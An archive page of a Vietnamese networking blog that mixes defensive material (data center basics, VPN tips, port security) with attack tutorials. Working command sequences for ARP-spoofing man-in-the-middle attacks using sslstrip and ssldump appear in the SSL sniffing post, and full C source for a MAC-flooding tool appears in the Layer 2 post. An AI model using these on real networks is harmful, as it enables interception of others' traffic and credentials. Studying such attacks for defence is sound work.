Lưu trữ

Archive for the ‘Network’ Category

SSL Sniffing

SSL sniffing


E-mail: okan[at]deu.edu.tr

http://www.knyksl.com/

Basic Information


What is SSL?


SSL (Secure Socket Layer) protocol was firstly developed in the year
of 1994 with the aim of providing safe data transferring, by Netscape.
In 1996, in concur with being invented its 3.0 version, it turned out to
be a standard that all internet browsers (Microsoft Explorer, Netscape,
Navigator, etc.) identify. With the help of SSL, it was aimed that the
datas delivered by using HTTPS technology between Web Server and
Web Browser would protect against attackers. The transmission status
with the web sites running under the SSL security is represented with
the golden-colored lock in browsers. The identification process
between Server and Client is provided with a crypto system based on a
public-private key encryption.


What is the need for SSL?


Together with the internet that has become a must-have in today’s
world, the safety of the data on the line has also come into an
immensely importance. The confidance of the institutional or personal
private datas on the line is highly critical and vulnerable. It is
necessary to deliver the data accurately to the other side and not to be
followed by the others during the data transferring process. With the
aim of meeting these needs Secure Sockets Layer was developed.
Signed Certificates
For the web projects in which the safety is more important, the
certificates signed digitally are used. The certificate is actually a file
including some information about the set up. At the same time, it also
includes the public key of the public-private key couple of the
installation. The server certificate includes the information about the
corporation operating that server. The certificates are given out by the
corporations which have the authority for signed certificates
(Globalsign, thawte, etc.). It is connected to the web sites under the
SSL security with the https request. The server sends to the Client the
public key information. Client asks the corporation which signes the
certification the validity of the key. If it is valid, it approves to the
browser that it is connected to a secure web site. Server can see the
information which is encoded by the public key only with the private
key which is available in itself.
Attack Types and Tools
In the committed tests, Backtrack 3.0 Linux was used. In this
document, it was dealed with two attack types with the intention of
accessing the datas in the SSL traffic. Both were formed using the
technique known as MiTM (man in the middle).
Sniffing with MiTM is an effective attack type for the switched
networks. With ARP reply packets, the target ARP table is poisoned.
So attacker seizes an analysis chance for the target data.
Tools
✔ Backtrack 3.0 Live CD

http://www.remoteexploit.org/backtrack.html


✔ Arpspoof (MiTM)
✔ Sslstrip http://www.thoughtcrime.org/software/sslstrip/
✔ Webmitm
✔ Ssldump
✔ Iptables


The attacker who penetrates between server and client with the first
technique attains the data using ssldump software with the insecure
certificate that he approves himself.


# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A PREROUTING -p tcp –dport 443 -j REDIRECT
# iptables -A FORWARD -j ACCEPT
# arpspoof -t <target> <gateway>
# webmitm -d
#./ssldump -n -d -k webmitm.crt | tee ssldump.log


In the second technique, the attacker who penetrates between server
and client, in brief, attains the data organizing https connection as to
run with the http technique. Sslstrip software is programmed with
Python programming language. Sslstrip default port number is 10000.
It runs similarly with Transparent Proxy logic.


# echo 1 > /proc/sys/net/ipv4/ip_forward
# arpspoof -i eth0 -t 192.168.1.6 192.168.1.1
# iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j
REDIRECT –to-ports 10000
# ./sslstrip –w gelenveri


Links

http://www.blackhat.com/presentations/bh-dc-

09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf

http://forums.remote-exploit.org/tutorials-guides/3157-ssl-sniffingusing-

ssldump-webmitm-arpspoof.html

Khắc phục lỗi destination host unreachabl

Tháng Mười Hai 22, 2009 Để lại phản hồi

Một ngày đẹp trời cắm laptop vào mạng –> Không thể lướt web hay chat chít gì cả bực mình nhỉ .
Không sao thử xem nào
Ping các máy trong mạng lan điều nhận được trả lời
Tiếp nào
Ping google.com
Ping vnexpress.net điều nhận được câu trả lời
destination host unreachable
Tắt máy nghỉ làm đi về ngủ , ý kiến không tệ tí nào hahahahahha
Trước khi về thì tắt điện rút hết dây mạng , tắt luôn modem . . . . nói chung những gì “connect ” với nhau thì rút ra hết (cho chắc chắn thôi hahahaha)
Chuẩn bị ra về thì nghĩ lại về nhà lúc này thế nào cũng bị “máy bay ở nhà oach tạc rồi ” (Em hay gọi vợ em là máy bay hihihihihi) . Thôi ở đây xem phim “cá kiếm ” cũng vui
Cắm lại modem , điện , dây mạng  . . . với nhau
Kết quả cũng không xem được phim mà cũng không được về nhà đành phải ở lại công ty mà làm hì hì hì

P/s: Viết hơi lang mang nhưng . . .

Giáng sinh vui vẻ ! Chào mọi người

Cơ bản về data center

Tháng Chín 29, 2009 Để lại phản hồi

Tổng quan các thành phần Data Center.

Không gian vật lí
Là không gian đặt các thiết bị liên quan đến Data Center. Ví dụ: phòng cấp điện, khu vực lưu trữ, không gian cho các tủ server, không gian chạy cáp và không gian đi lại trong data center.

Sàn nâng
Là hệ thống mạng lưới sàn được xây dựng nâng cao so với mặt sàn gốc để có không gian chạy cáp dữ liệu, cáp điện, thoát khí, điều hòa nhiệt độ, đường ống nước, đường ống chữa cháy..Sàn nâng có thể có các độ cao khác nhau tùy thuộc vào lượng thiết bị trong nó.

Hệ thống cấp điện
Là các thiết bị cấp nguồn bao gồm: bảng điện, máng dây. Nguồn cấp cần được tính toán chi tiết để đảm báo mọi thiết bị trong trung tâm hoạt động tốt, đồng thời phải là nguồn ổn định , điện áp của hệ thống có thể thay đổi theo từng quốc gia, từng khu vực.

Hệ thống nguồn dự phòng
Data center được thiết kế để hoạt động liên tục với độ sẵn sàng cao nhất nên luôn phải có hệ thống nguồn điện dự phòng trong trường hợp nguồn điện chính gặp trục trặc. Nguồn này thông thường bao gồm hệ thống pin cỡ lớn, và các máy phát điện.

Hệ thống cáp
Hệ thống cáp của data center phải là cáp có cấu trúc gồm có cáp quang, cáp đồng băng thông cao, tủ nối cáp quang và cáp đồng, cầu thang cáp, máng cáp, bộ phận điều hướng cáp. Các server của người dùng sẽ có thể dễ dàng cắm vào data center với các dây cắm thiết kế sẵn.

Hệ thống làm mát
Hệ thống làm mát cho phép điều chỉnh nhiệt độ data center và chống ẩm. Hệ thống này có thể kết hợp với hệ thống điều hòa không khí trong tòa nhà hoặc chạy độc lập. Với các tủ thiết bị cỡ lớn thì cần có các quạt và hệ thống làm mát riêng.

Hệ thống chống cháy
Là tất cả các thiết bị liên quan đến việc phát hiện, cô lập và dập tắt hỏa hoạn trong Data Center. Thành phần tất yếu là: hệ thống dập lửa bằng nước, hệ thống dập lửa bằng khí, hệ thống chống cháy thủ công. Ngoài ra còn các hệ thống cảm biến khói và báo động.

Các thành phần khác
Các thành phần khác có thể gặp trong DataCenter là: thiết bị phát hiện rò rỉ, thiết bị bảo mật vật lí như thiết bị đọc thẻ bảo mật và camera theo giõi.

Mot so hinh anh cac ban tham khao

Viet Matrix Revolutions

Viet Matrix Revolutions

Còn đây là sơ đồ logic các khối chức năng được Cisco khuyến nghị

Mười mẹo bảo vệ mạng riêng ảo VPN

Tháng Chín 29, 2009 Để lại phản hồi

VPN là viết tắt của Virtual Private Network ( dịch sang tiếng Việt là mạng riêng ảo )

Mạng riêng ảo (VPN) ngày càng khẳng định được ưu thế lợi nhuận trong hiệu suất và giá cả của mình. Bạn có thể cung cấp quyền truy cập mạng từ xa cho nhân viên tin cậy hay các nhà đấu thầu giải pháp qua một mạng riêng ảo. Khoảng cách địa lý giờ không còn là vấn đề đáng ngại nữa.

Cùng với những bước phát triển mở rộng, bảo mật mạng đòi hỏi phải có các biện pháp tinh tế hơn, khéo léo hơn. Chỉ cần một máy từ xa mất quyền kiểm soát cũng có thể tạo ra con đường thâm nhập hấp dẫn và nguy hiểm cho những kẻ tấn công.
Dưới đây là 10 mẹo nhỏ chúng tôi xin cung cấp nhằm giúp bạn bảo mật an toàn mà vẫn đảm bảo yếu tố lợi nhuận từ các mạng riêng ảo VPN.

1. Sử dụng phương thức thẩm định quyền truy cập VPN mạnh nhất:

Chính xác là phương thức nào thì còn phụ thuộc vào từng cơ sở hạ tầng mạng. Bạn nên kiểm tra tài liệu hướng dẫn trong VPN hay hệ điều hành để xác định phương thức phù hợp nhất.

Nếu như mạng sử dụng server Microsoft thì phương thức thẩm định an toàn nhất là Extensible Authentication Protocol (Giao thức thẩm định mở rộng) và Transport Level Security (Bảo mật mức truyền vận), còn gọi là EAP-TLS. Chúng được sử dụng với các thẻ thông minh (smart card). Phương thức này đòi hỏi phải có một cơ sở hạ tầng khóa phổ biến (PKI), có thể mã hoá và phân phối toàn bộ thẻ thông minh một cách an toàn. Các giao thức Microsoft Challenge Handshake Authentication Protocol Version 2 (MS-CHAP v2) và Extensible Authentication Protocol (EAP) là sự lựa chọn tốt nhất cho các phương thức thẩm định bảo mật tiếp theo.

Các bạn không nên lựa chọn giao thức Password Authentication Protocol (PAP) – giao thức thẩm định mật khẩu, giao thức Shiva Password Authentication Protocol (SPAP) – giao thức thẩm định mật khẩu Shiva và giao thức thẩm định Handshake Challenge (CHAP), chúng quá yếu, không đảm bảo an toàn cho mạng của bạn.

2. Sử dụng phương thức mã hoá quyền truy cập VPN mạnh nhất:

Với mạng sử dụng server Microsoft, bạn nên dùng phương thức Layer Two Tunneling Protocol (L2TP) thực hiện với Internet Protocol security (IPsec -bảo mật giao thức Internet). Giao thức Point-to-Point Tunneling (PPTP) quá yếu, trừ phi mật khẩu client của bạn bảo đảm đủ mạnh (xem mẹo 6). OpenVPN, một mạng riêng ảo tầng sockert đơn (Single Socket Layer – SSL) có thể chạy với bộ thẩm định phiên cơ sở TLS, chương trình mã hoá Blowfish hay AES-256 và bộ thẩm định SHA1 của dữ liệu đường hầm.

3. Giới hạn quyền truy cập VPN với lý do thương mại hợp lý và chỉ khi cần thiết:

Kết nối mạng VPN là cánh cửa cho mạng LAN, chỉ nên mở khi cần thiết. Bạn nên giới hạn các nhân viên từ xa kết nối VPN cả ngày để check e-mail (xem mẹo 5). Với cả các nhà đấu thầu cũng nên ngăn việc kết nối tới VPN để download các file cần thiết thông thường (xem mẹo 4).
4. Cung cấp quyền truy cập các file được chọn qua mạng Intranet hay Extranet thay vì VPN:

Một website bảo mật HTTP Secure (HTTPS) với bộ thẩm định mật khẩu an toàn chỉ đưa các file được chọn lên một server đơn chứ không phải lên toàn bộ mạng, và có độ co giãn tốt hơn VPN.

5. Cho phép truy cập e-mail mà không cần truy cập vào VPN:

Trên server Microsoft Exchange, bạn nên cài proxy server Exchange để cho phép Outlook truy cập Exchange qua giao thức gọi thủ tục từ xa (RPC) ở HTTP. Thành phần này được bảo vệ bằng giao thức mã hoá SSL.

Với các dịch vụ e-mail khác, bạn có thể sử dụng giao thức Post Office Protocol (POP3) cùng giao thức nhận mail Internet Message Access Protocol (IMAP) hoặc giao thức gửi mail Simple Mail Transfer Protocol (SMTP). Bạn cũng nên sử dụng bộ thẩm định an toàn mật khẩu (SPA) và chương trình mã hoá SSL để chứng minh tính bảo mật cho các hệ thống mail này. Secure Web mail là một lựa chọn khác cho các nhân viên từ xa, nhất là khi họ đang đi du lịch hay sử dụng máy tính của người khác.

6. Thực thi và ép buộc nhân viên thực hiện chính sách mật khẩu an toàn:

Nếu vắng mặt chương trình thẩm định hai yếu tố (thẻ thông minh và biometrics), mạng của bạn sẽ chỉ an toàn tương ứng với mức mật khẩu yếu nhất.

Bạn không nên giữ quá lâu một mật khẩu mà nên thường xuyên thay đổi chúng, ít nhất 3 tháng 1 lần. Đừng sử dụng một từ tìm thấy trong từ điển hay một số liên quan đến điện thoại, mã số bảo mật xã hội, tên người thân trong gia đình, tên con vật nuôi để làm mật khẩu.

Mật khẩu nên thật khó hiểu, khó đoán ngay cả với các thành viên trong gia đình. Nó cũng không nên ngắn quá.

Tạo được yếu tố an toàn trong mật khẩu là một bước rất quan trọng.

7. Cung cấp chương trình diệt virus, chống spam, tường lửa cá nhân cho người dùng từ xa và yêu cầu họ sử dụng chúng:

Mỗi máy tính kết nối đầy đủ với VPN (xem mẹo 8) đều có thể phát tán chương trình độc hại qua mạng, tiềm ẩn nhiều nguy cơ ngắt giao dịch thương mại của công ty. Vì vậy bạn nên cung cấp các chương trình antivirus, antispam, firewall cá nhân cho nhân viên và yêu cầu họ phải sử dụng chúng.

8. Cách ly người dùng để kiểm chứng mức an toàn trong máy tính của họ trước khi cho phép kết nối vào mạng VPN:

Khi một máy tính khách hàng bắt đầu phiên làm việc VPN, nó sẽ không được quyền truy cập đầy đủ vào mạng tới khi nào được kiểm tra xong độ an toàn. Phần kiểm tra có thể là xác định dấu vết antivirus, antispam hiện tại; kiểm tra bản vá lỗi hệ điều hành đầy đủ, sửa chữa các lỗi bảo mật nghiêm trọng; phần mềm điều khiển từ xa không hoạt động; các keylogger hay Trojan.

Mặt hạn chế ở phương thức này là người dùng sẽ bị trễ mất vài phút khi muốn làm một số việc nào đó. Bạn có thể khắc phục bằng cách ghi nhớ lịch quét trong máy tính và giảm tần số quét xuống một vài ngày so với lần quét trước.

9. Cấm sử dụng mạng riêng ảo hay phần mềm điều khiển từ xa khác khi đang kết nối tới mạng của bạn:

Điều cuối cùng cần cho mạng của bạn là phân biệt nó với các mạng khác. Hầu hết phần mềm VPN thiết lập phần định hướng cho khách hàng sử dụng cổng vào mặc định, sau khi kết nối mặc định. Nhưng thường điều đó là tuỳ ý, không bắt buộc.

Khi tất cả lưu lượng của trình duyệt Internet liên quan đến công việc đểu được định tuyến qua mạng, tốc độ truyền tải trở nên chậm chạp đến mức thật khó chịu đựng. Thường khi đó các nhân viên từ xa chỉ muốn tắt tuỳ chọn này. Nhưng như thế cũng có nghĩa là thủ tiêu luôn chương trình bảo vệ trước các website độc hại mà đã thiết lập ở proxy hay gateway.

Một tường lửa cá nhân và một client proxy firewall cho phép các nhân viên có chế độ truy cập mạng từ xa an toàn mà không làm giảm tốc độ kết nối Internet của họ. Bạn cũng có thể thiết lập một chính sách rõ ràng về cách dùng Internet khi kết nối với VPN như thế nào cho an toàn.

10. Bảo mật mạng không dây từ xa:

Các nhân viên làm việc ở nhà thường sử dụng laptop kết nối tới cáp hay modem DSL qua điểm truy cập không dây riêng của họ.

Đáng tiếc, nhiều router không dây chẳng bao giờ được cấu hình an toàn. Chúng chỉ đơn thuần được kết nối và bật lên sử dụng. Hãy hướng dẫn nhân viên cách cấu hình router không dây, các máy tính WPA với một khoá “tiền chia sẻ”, cách cấu hình tường lửa cá nhân và giải thích cho họ biết tầm quan trọng của bảo mật mạng tại nhà.

Duy trì bảo mật mạng đòi hỏi luôn phải có sự cảnh giác nhất định. Duy trì bảo mật mạng riêng ảo thậm chí còn phải cảnh giác hơn. Nhưng dựa vào 10 mẹo trên bạn có thể ít phải đối mặt với các vấn đề liên quan đến VPN hơn rất nhiều

[ Tong hop tu internet ]

Layer 2 attack: MAC flooding

Tháng Chín 17, 2009 Để lại phản hồi

Trong loạt bài này, mình sẽ lần lượt giới thiệu với các bạn các kiểu tấn công vào lớp 2 OSI và các cách phòng chống.

Đầu tiên là kiểu tấn công vào bảng CAM (content address memory) của switch.

1. Địa chỉ MAC:
Địa chỉ MAC (Media Access Control) : là kiểu địa chỉ vật lí, đặc trưng cho một thiết bị hoặc một nhóm các thiết bị trong mạng LAN. Địa chỉ này được dùng để nhận diện các thiết bị giúp cho các gói tin lớp 2 có thể đến đúng đích.

Một địa chỉ MAC bao gồm 6 byte và thường được viết dưới dạng hexa, với các thiết bị của Cisco, địa chỉ này được viết dưới dạng số hexa ,ví dụ: 0000.0C12.FFFF là một địa chỉ MAC hợp lệ. Để đảm bảo địa chỉ MAC của một thiết bị là duy nhất, các nhà sản xuất cần phải ghi địa chỉ đó lên ROM của thiết bị phần cứng và định danh của nhà sản xuất sẽ được xác định bởi 3 byte đầu OUI (Organizationally Unique Identifier).

Địa chỉ MAC được phân làm 3 loại
Unicast: đây là loại địa chỉ dùng để đại diện cho một thiết bị duy nhất.
Multicast: đây là loại địa chỉ đại diện cho một nhóm các thiết bị trong mạng LAN. Địa chỉ được dùng trong trường hợp một ứng dụng có thể muốn trao đổi với một nhóm các thiết bị. Bằng cách gửi đi một bản tin có địa chỉ multicast; tất cả các thiết bị trong nhóm đều nhận và xử lí gói tin trong khi các thiết bị còn lại trong mạng sẽ bỏ qua. Giao thức IP cũng hỗ trợ truyền multicast. Khi một gói tin IP multicast được truyền qua một mạng LAN, địa chỉ MAC multicast tương ứng với địa chỉ IP sẽ là 0100.5exxx.xxxx.
Broadcast: địa chỉ này đại diện cho tất cả các thiết bị trong cùng một mạng LAN. Điều đó cũng có nghĩa là nếu một gói tin có địa chỉ MAC là FFFF.FFFF.FFFF được gửi đi thì tất cả các thiết bị trong mạng LAN đều phải thu nhận và xử lí.

2.Chức năng chuyển mạch của switch:
Việc đưa thiết bị chuyển mạch vào một mạng LAN có nhiều mục đích nhưng mục đích quan trong nhất là để chia một mạng LAN ra thành nhiều vùng khác nhau nhằm giảm thiểu việc xung đột gói tin khi có quá nhiều thiết bị được nối vào cùng một môi trường truyền dẫn. Các vùng được phân chia này được gọi là các collision domain.Chức năng chính của switch là vận chuyển các frame lớp 2 qua lại giữa các collision domain này. Các collision domain này còn được gọi là các đoạn mạng LAN (LAN segment).

Để có thể vận chuyển chính xác được gói tin đến đích, switch cần phải có một sơ đồ ánh xạ giữa địa chỉ MAC của các thiết bị vật lí gắn tương ứng với cổng nào của nó. Sơ

đồ này được lưu lại trong switch và được gọi là bảng CAM (Content Address Memory).

Quá trình vận chuyển gói tin qua switch có thể được mô tả như sau:
• Nếu địa chỉ MAC nguồn của gói tin chưa có trong bảng CAM; switch sẽ cập nhật với cổng tương ứng. Nếu địa chỉ MAC nguồn đã tồn tại trong bảng nhưng với một cổng khác, switch sẽ báo lỗi “MAC flapping” và huỷ gói tin.
• Nếu địa chỉ đích của gói tin là địa chỉ multicast hoặc địa chỉ broadcast hoặc là địa chỉ unicast nhưng ánh xạ của địa chỉ này không tồn tại trong bảng CAM trước đó thì gói tin sẽ được gửi ra tất cả các cổng của switch trừ cổng mà nó nhận được gói tin.
• Nếu địa chỉ đích của gói tin là địa chỉ unicast và ánh xạ của địa chỉ tồn tại trong bảng CAM đồng thời cổng mà nó nhận được gói tin khác với cổng mà gói tin cần được chuyển đi thì nó sẽ gửi gói tin đến chính xác cổng có trong bảng CAM.
• Các trường hợp còn lại, gói tin sẽ bị huỷ.

Ví dụ:

Hình 1.1: Chức năng chuyển mạch của switch

Trong ví dụ trên, khi host A gửi bản tin đến host B. Do switch chưa có địa chỉ MAC của B trong bảng CAM của mình nên switch sẽ gửi broadcast ra mọi cổng còn lại đồng thời sẽ lưu lại địa chỉ MAC của A vào bảng CAM. Sau khi host B nhận được bản tin từ A; B gửi lại tin cho A. Khi đó, switch đã có địa chỉ của A nên sẽ gửi unicast tới port 1 đồng thời cập nhật địa chỉ MAC của B vào bảng CAM.

Các thao tác đối với bảng CAM của một switch [1]:
Để xem nội dung bảng CAM của switch, dùng lệnh:
Switch# show mac address-table dynamic [address mac-address |
interface type mod/num |vlan vlan-id]
Lệnh này sẽ liệt kê tất cả các địa chỉ MAC mà switch học được. Nếu muốn
cụ thể hơn, có thể tìm được vị trí của host đã gắn vào switch bằng cách chỉ
ra địa chỉ của nó hoặc có thể tìm được những địa chỉ MAC đã được học từ
một giao diện nào đó.

Ví dụ: Host có địa chỉ MAC 0050.8b11.54da đã được gắn vào cổng
Fastethernet 0/1 của switch:

Hình 1.2: Nội dung bảng CAM của switch.


Xem kích thước bảng CAM của switch, dùng lệnh:
Switch# show mac address-table count
Xoá các ánh xạ trong bảng CAM, dùng lệnh:
Switch# clear adress-table dynamic [address mac-address |
interface type mod/num |vlan vlan-id]

3.Kiểu tấn công làm tràn bảng CAM (MAC flooding):
3.1.Phương thức tấn công:

Kiểu tấn công làm tràn bảng CAM dựa vào điểm yếu của thiết bị chuyển mạch: bảng CAM chỉ chứa được một số hữu hạn các ánh xạ (ví dụ như switch Catalysh 6000 có thể chứa được tối đa 128000 ánh xạ) và các ánh xạ này không phải tồn tại mãi mãi trong bảng CAM [4]. Sau một khoảng thời gian nào đó, thường là 300 s; nếu địa chỉ này không được dùng trong việc trao đổi thông tin thì nó sẽ bị gỡ bỏ khỏi bảng.

Khi bảng CAM được điền đầy, tất cả thông tin đến sẽ được gửi đến tất cả các cổng của nó trừ cổng nó nhận được. Lúc này chức năng của switch không khác gì chức năng của một hub.

Ví dụ:

Hình 1.3: Mô hình tấn công làm ngập bảng CAM

Trong ví dụ trên, host C của kẻ tấn công gửi đi liên tục hàng loạt các bản tin có địa chỉ MAC nguồn là địa chỉ giả mạo (host X và host Y). Switch sẽ cập nhật địa chỉ của các host giả mạo này vào bảng CAM. Kết quả là khi host A gửi tin đến cho host B; địa chỉ của B không tồn tại trong bảng nên gói tin được switch gửi ra các cổng của nó và bản tin A chỉ gửi riêng cho B cũng sẽ được chuyển đến C.

3.2.Cách phòng chống:
Nguyên lí chung của các phương pháp phòng chống là không để các gói tin có địa chỉ MAC lạ đi qua switch. Phương pháp phòng chống hiệu quả nhất là cấu hình port security trên switch [1]. Đây là một đặc trưng cấu hình cho phép điều khiển việc truy cập vào cổng switch thông qua địa chỉ MAC của thiết bị gắn vào.

Khi switch nhận được một gói tin chuyển đến, nó sẽ kiểm tra địa chỉ MAC nguồn của gói tin với danh sách các địa chỉ đã được cấu hình trước đó. Nếu hai địa chỉ này khác nhau thì tuỳ theo sự cấu hình của người quản trị mà switch sẽ xử lí gói tin đến với các mức độ khác nhau.

Các lệnh cấu hình port security:
• Switch(config-if)# switchport mode access
• Switch(config-if)# switchport port-security: cho phép cổng được hoạt động trong chế độ port-security.
• Switch(config-if)# switchport port-security maximum value (tuỳ chọn): câu lệnh cho phép cấu hình số địa chỉ MAC tối đa mà cổng có thể học tự động và cho phép các thiết bị này truyền dữ liệu qua. Mặc định thì cổng chỉ cho phép một địa chỉ MAC (một thiết bị) được gán vào và số địa chỉ có thể nằm trong khoảng từ 1 đến 1024.
• Switch(config-if)# switchport port-security mac-address mac_address (tuỳ chọn) : bên cạnh cách cấu hình cho phép switch học tự động địa chỉ MAC; có thể gán tĩnh một số địa chỉ MAC có thể truy cập vào một port. Nếu số lượng địa chỉ gán tĩnh mà nhỏ hơn số địa chỉ MAC switch có thể học tự động thì số địa chỉ MAC còn lại sẽ được học tự động.
• Switch(config-if)# switchport port-security violation {protect | restrict | shutdown} (tuỳ chọn) : Đây là các biện pháp mà người quản trị có thể tiến hành khi một gói tin đến không phù hợp với yêu cầu của port-security (khi có nhiều hơn số địa chỉ MAC tối đa được học hoặc khi gói tin đến có địa chỉ MAC khác so với các địa chỉ MAC đã được cấu hình tĩnh). Các biện pháp xử lí có thể là :
1. shutdown: cổng sẽ bị ngừng hoạt động; không nhận và chuyển gói tin.
2. restrict: cổng chỉ cho phép các gói tin có địa chỉ MAC hợp lệ đi qua; các gói tin vi phạm sẽ bị huỷ. Đồng thời số lượng các bản tin vi phạm sẽ được thống kê và báo cho người quản trị biết.
3. protect: cũng giống như trong trường hợp restrict, tuy nhiên việc vi phạm sẽ không được ghi lại.
Phương pháp này tuy có yêu cầu công việc của người quản trị tăng lên đôi chút tuy nhiên nó là phương pháp rất hiệu quả để khoá các gói tin không rõ nguồn gốc có ý định tấn công vào switch.

3.3.Thí nghiệm thực tế:
Sơ đồ thí nghiệm và cấu hình thiết bị:
Hai PC trong đó PC của kẻ tấn công, cài phần mềm giả mạo địa chỉ MAC và phần mềm bắt gói tin ethereal.
Một switch cisco serie 2950, hệ điều hành IOS 12.0.

Hình 1.4: Sơ đồ thí nghiệm MAC flooding.

Các bước tiến hành:

• Bước 1: kẻ tấn công dùng phần mềm macflood làm ngập bảng CAM của switch. Phần mềm này có thể làm tràn bảng CAM của switch trong vòng chưa đầy nửa giây. Cách sử dụng macflood:
macflood –i [interface] –n [npacks] -s[size]
trong đó:
-i: chỉ ra giao diện để gửi gói tin ra.
-n: số gói tin được gửi đi.
-s: kích thước gói tin (nằm trong khoảng từ 60 đến 1514 byte).

Hình 1.5: Minh hoạ việc sử dụng phần mềm macflood


Kết quả khi hiện bảng CAM của switch:

Hình 1.6:Nội dung bảng CAM của switch sau khi bị tấn công.

• Bước 2: mục đích của thí nghiệm này là để kiểm tra việc truyền tin giữa hai switch và máy còn lại có bị nghe trộm hay không. Để đơn giản cho việc kiểm tra; ta ping từ switch sang máy nạn nhân. Dùng phần mềm ethereal trên máy tấn công bắt gói tin ICMP. Kết quả là:

Hình 1.7: Nội dung gói tin ICMP bị nghe lén.


• Bước 3: cấu hình port security trên cổng 3 của switch; giới hạn số địa chỉ MAC tối đa đi qua là 3. Nếu như có địa chỉ MAC lạ đi qua; gói tin sẽ bị huỷ.
Câu lệnh cấu hình trên cổng của switch gắn với máy của kẻ tấn công:
Switch(config-if)# switchport mode access
Switch(config-if) #switchport port-security
Switch(config-if)# switchport port-security maximum 3
Switch(config-if)# switchport port-security violation protect

Hình 1.8: Switch được cấu hình port security

• Bước 4: Tiến hành tấn công macflood lần thứ hai. Lần này ta chỉ gửi đi 5 bản tin có địa chỉ MAC giả mạo:

Hình 1.9: Tấn công macflood lần hai


Bảng CAM của switch trong lần tấn công thứ hai :

Hình 1.10: Bảng CAM sau lần tấn công thứ hai.

Ta có thể nhận thấy rằng: bảng CAM chỉ chứa 3 ánh xạ nhận được từ cổng fa
0/1 : địa chỉ MAC của máy tấn công và hai địa chỉ giả mạo do phần mềm phát ra.

4.Nhận xét, đánh giá kết quả:
Theo kết quả ở trên, có thể khẳng định việc cấu hình port security là phương pháp phòng chống tấn công MAC flooding hiệu quả nhất.

Một câu hỏi đặt ra là nếu switch không hỗ trợ tính năng port security thì sao? Một biện pháp có thể được dùng để phòng chống là sử dụng phần mềm phát hiện gói tin giả mạo.

Như ta đã thấy, sau khi bảng CAM của switch bị tràn, mọi gói tin đến switch đều bị gửi ra các cổng và việc tấn công này cần phải tiến hành liên tục để đảm bảo rằng bảng CAM luôn bị tràn. Do đó trong khoảng thời gian aging (khoảng thời gian để switch xóa một ánh xạ ra khỏi bảng nếu không nhận được thông tin trao đổi trên cổng); kẻ tấn công phải tiến hành gửi đi ít nhất 2 lần số bản tin giả mạo. Ta có thể dùng một máy tính gắn vào một cổng trên switch để bắt các gói tin giả mạo này (do chúng bị flood ra tất cả các cổng). Từ các gói tin bị bắt được, phần mềm sẽ đọc ra địa chỉ MAC nguồn của gói tin. Nếu trong một khoảng thời gian nhất định (bằng khoảng thời gian aging của switch) số địa chỉ MAC nguồn là quá lớn, phần mềm sẽ ghi lại kết quả và báo cho người quản trị biết rằng đã có tấn công trong mạng.

Tuy nhiên phương pháp này lại có rất nhiều nhược điểm:
 Nhược điểm thứ nhất: do phải xử lí quá nhiều gói tin trong một khoảng thời gian ngắn, hiệu năng của máy sẽ giảm. Số lượng gói tin ở đây không chỉ là các bản tin giả mạo mà tất cả các bản tin khác được gửi đến switch sau khi switch đã bị tấn công.
 Nhược điểm thứ hai: như trong hình 1.6; khi xem nội dung bảng CAM của switch, ta có thể thấy rằng toàn bộ địa chỉ MAC giả mạo đều nằm trong VLAN 1 (khái niệm VLAN xin tham khảo trong chương 4). Điều đó có nghĩa rằng, các bản tin giả mạo sẽ chỉ được switch gửi ra tất cả các cổng thuộc về VLAN đó thôi. Như vậy, nếu kẻ tấn công khác VLAN với máy dùng để phát hiện giả mạo thì việc tấn công vẫn không bị phát hiện.
 Nhược điểm thứ ba: khi một switch bị tràn bảng CAM thì switch bên cạnh nếu có cấu hình VLAN cùng với VLAN của kẻ tấn công thì cũng bị tràn bảng. Do đó tất cả các switch trong mạng nếu có cùng VLAN và có liên kết trunk với nhau thì bảng CAM đều bị tràn.

Hình 1.11: Hậu quả dây chuyền của tấn công macflood

Kết quả là nếu máy phát hiện có gói tin giả mạo trên một switch thì cũng chưa thể tìm ra ngay được thủ phạm bởi vì máy của kẻ tấn công có thể nằm trên một switch khác. Việc dò tìm có thể tiến hành nếu người quản trị vào từng switch; dùng lệnh show cam- address-table để biết được gói tin giả mạo nhận được trên cổng nào. Nếu cổng nhận được nối đến switch khác thì lại phải sang switch đó để dò tiếp. Nếu cổng nhận được là một PC thì đó chính là máy của kẻ tấn công. Việc dò tìm này sẽ khá mất công nếu số lượng switch trong mạng là lớn.Như vậy so với việc phòng chống bằng port security thì phương pháp này kém hiệu quả hơn rất nhiều.

5.Code macflood:
Đồng chí nào muốn demo thì cài visual studio và down winpcap về nhé.

Code:
#include <stdlib.h>
#include <stdio.h>

#include <pcap.h>

int main(int argc, char **argv)
{
int i;
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE];
u_char packet[60];

/* Check the validity of the command line */
if (argc != 2)
{
printf(“usage: %s interface”, argv[0]);
return 1;
}

/* Open the adapter */
if ((fp = pcap_open_live(argv[1], // name of the device
65536, // portion of the packet to capture. It doesn’t matter in this case
1, // promiscuous mode (nonzero means promiscuous)
1000, // read timeout
errbuf // error buffer
)) == NULL)
{
fprintf(stderr,”\nUnable to open the adapter. %s is not supported by WinPcap\n”, argv[1]);
return 2;
}

/* Supposing to be on ethernet, set mac destination to 1:1:1:1:1:1 */
packet[0]=1;
packet[1]=1;
packet[2]=1;
packet[3]=1;
packet[4]=1;
packet[5]=1;

//cho dia chi sau bang 0 het
packet[6]=0;
packet[7]=0;
packet[8]=0;
packet[9]=0;
packet[10]=0;
packet[11]=0;

for (i=1;i<=10000; i++)
{
int j=11;
int m=i;

while (m>0)
{
packet[j]=m%16;
m=m/16;
j–;

}

/* Fill the rest of the packet */
for(j=12;j<60;j++)
{
packet[j]=i%256;
}

/* Send down the packet */
if (pcap_sendpacket(fp, // Adapter
packet, // buffer with the packet
60 // size
) != 0)
{
fprintf(stderr,”\nError sending the packet: \n”, pcap_geterr(fp));
return 3;
}

}
pcap_close(fp);
return 0;
}

Bài  Viết của Nguyễn Việt Anh – Anhnv

Bổ sung attack ARP spoofing

Tháng Chín 17, 2009 Để lại phản hồi

3.3.Sử dụng giao thức S-ARP:
Một trong những lí do khiến cho việc giả mạo ARP reply dễ dàng có thể được thực hiện là không có một sự chứng thực nào cho các bản tin phúc đáp này. Do đó cần thiết phải xây dựng một giao thức tích hợp cả việc chứng thực vào giao thức ARP gốc.

